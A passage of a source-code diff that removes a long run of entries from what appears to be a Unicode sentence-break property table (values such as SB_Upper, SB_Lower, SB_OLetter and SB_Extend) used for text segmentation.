-	SB_Upper,
-	SB_Lower,
-	SB_OLetter,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_OLetter,
-	SB_Lower,
-	SB_OLetter,
-	SB_Lower,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Lower,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_OLetter,
-	SB_Other,
-	SB_Upper,
-	SB_Lower,
-	SB_Other,
-	SB_Lower,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Other,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Other,
-	SB_Extend,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_SContinue,
-	SB_Other,
-	SB_Lower,
-	SB_Other,
-	SB_STerm,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Format,
-	SB_Other,
-	SB_SContinue,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Format,
-	SB_Other,
-	SB_STerm,
-	SB_OLetter,
-	SB_Extend,
-	SB_Numeric,
-	SB_Other,
-	SB_Numeric,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_STerm,
-	SB_OLetter,
-	SB_Extend,
-	SB_Format,
-	SB_Other,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_OLetter,
-	SB_Numeric,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_STerm,
-	SB_Other,
-	SB_Format,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Other,
-	SB_Numeric,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Other,
-	SB_SContinue,
-	SB_STerm,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_Format,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_STerm,
-	SB_Numeric,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_Numeric,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Numeric,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_Numeric,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_Numeric,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Numeric,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_Numeric,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_Numeric,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_Numeric,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Numeric,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_Numeric,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Numeric,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Numeric,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Close,
-	SB_Extend,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Numeric,
-	SB_STerm,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_Numeric,
-	SB_Extend,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_STerm,
-	SB_Other,
-	SB_STerm,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Lower,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_STerm,
-	SB_OLetter,
-	SB_Sp,
-	SB_OLetter,
-	SB_Close,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_STerm,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_Numeric,
-	SB_Other,
-	SB_SContinue,
-	SB_STerm,
-	SB_Other,
-	SB_SContinue,
-	SB_STerm,
-	SB_Other,
-	SB_Extend,
-	SB_Format,
-	SB_Other,
-	SB_Numeric,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_STerm,
-	SB_Numeric,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Numeric,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Numeric,
-	SB_Other,
-	SB_Numeric,
-	SB_Other,
-	SB_OLetter,
-	SB_STerm,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Other,
-	SB_Numeric,
-	SB_STerm,
-	SB_Other,
-	SB_STerm,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Numeric,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_STerm,
-	SB_Other,
-	SB_Numeric,
-	SB_Other,
-	SB_OLetter,
-	SB_Numeric,
-	SB_OLetter,
-	SB_STerm,
-	SB_Lower,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Lower,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Lower,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Other,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Other,
-	SB_Lower,
-	SB_Upper,
-	SB_Other,
-	SB_Lower,
-	SB_Other,
-	SB_Lower,
-	SB_Other,
-	SB_Lower,
-	SB_Upper,
-	SB_Other,
-	SB_Lower,
-	SB_Other,
-	SB_Lower,
-	SB_Upper,
-	SB_Other,
-	SB_Lower,
-	SB_Upper,
-	SB_Other,
-	SB_Lower,
-	SB_Other,
-	SB_Lower,
-	SB_Upper,
-	SB_Other,
-	SB_Sp,
-	SB_Format,
-	SB_Extend,
-	SB_Format,
-	SB_Other,
-	SB_SContinue,
-	SB_Other,
-	SB_Close,
-	SB_Other,
-	SB_ATerm,
-	SB_Other,
-	SB_Sep,
-	SB_Format,
-	SB_Sp,
-	SB_Other,
-	SB_Close,
-	SB_Other,
-	SB_STerm,
-	SB_Other,
-	SB_Close,
-	SB_STerm,
-	SB_Other,
-	SB_Sp,
-	SB_Format,
-	SB_Other,
-	SB_Format,
-	SB_Other,
-	SB_Lower,
-	SB_Other,
-	SB_Close,
-	SB_Lower,
-	SB_Other,
-	SB_Close,
-	SB_Other,
-	SB_Lower,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_OLetter,
-	SB_Lower,
-	SB_Other,
-	SB_Lower,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Lower,
-	SB_Other,
-	SB_Lower,
-	SB_Other,
-	SB_Upper,
-	SB_Lower,
-	SB_OLetter,
-	SB_Upper,
-	SB_Lower,
-	SB_OLetter,
-	SB_Other,
-	SB_Close,
-	SB_Other,
-	SB_Close,
-	SB_Other,
-	SB_Upper,
-	SB_Lower,
-	SB_Other,
-	SB_Close,
-	SB_Other,
-	SB_Close,
-	SB_Other,
-	SB_Close,
-	SB_Other,
-	SB_Close,
-	SB_Other,
-	SB_Close,
-	SB_Other,
-	SB_Close,
-	SB_Other,
-	SB_Close,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Lower,
-	SB_Other,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
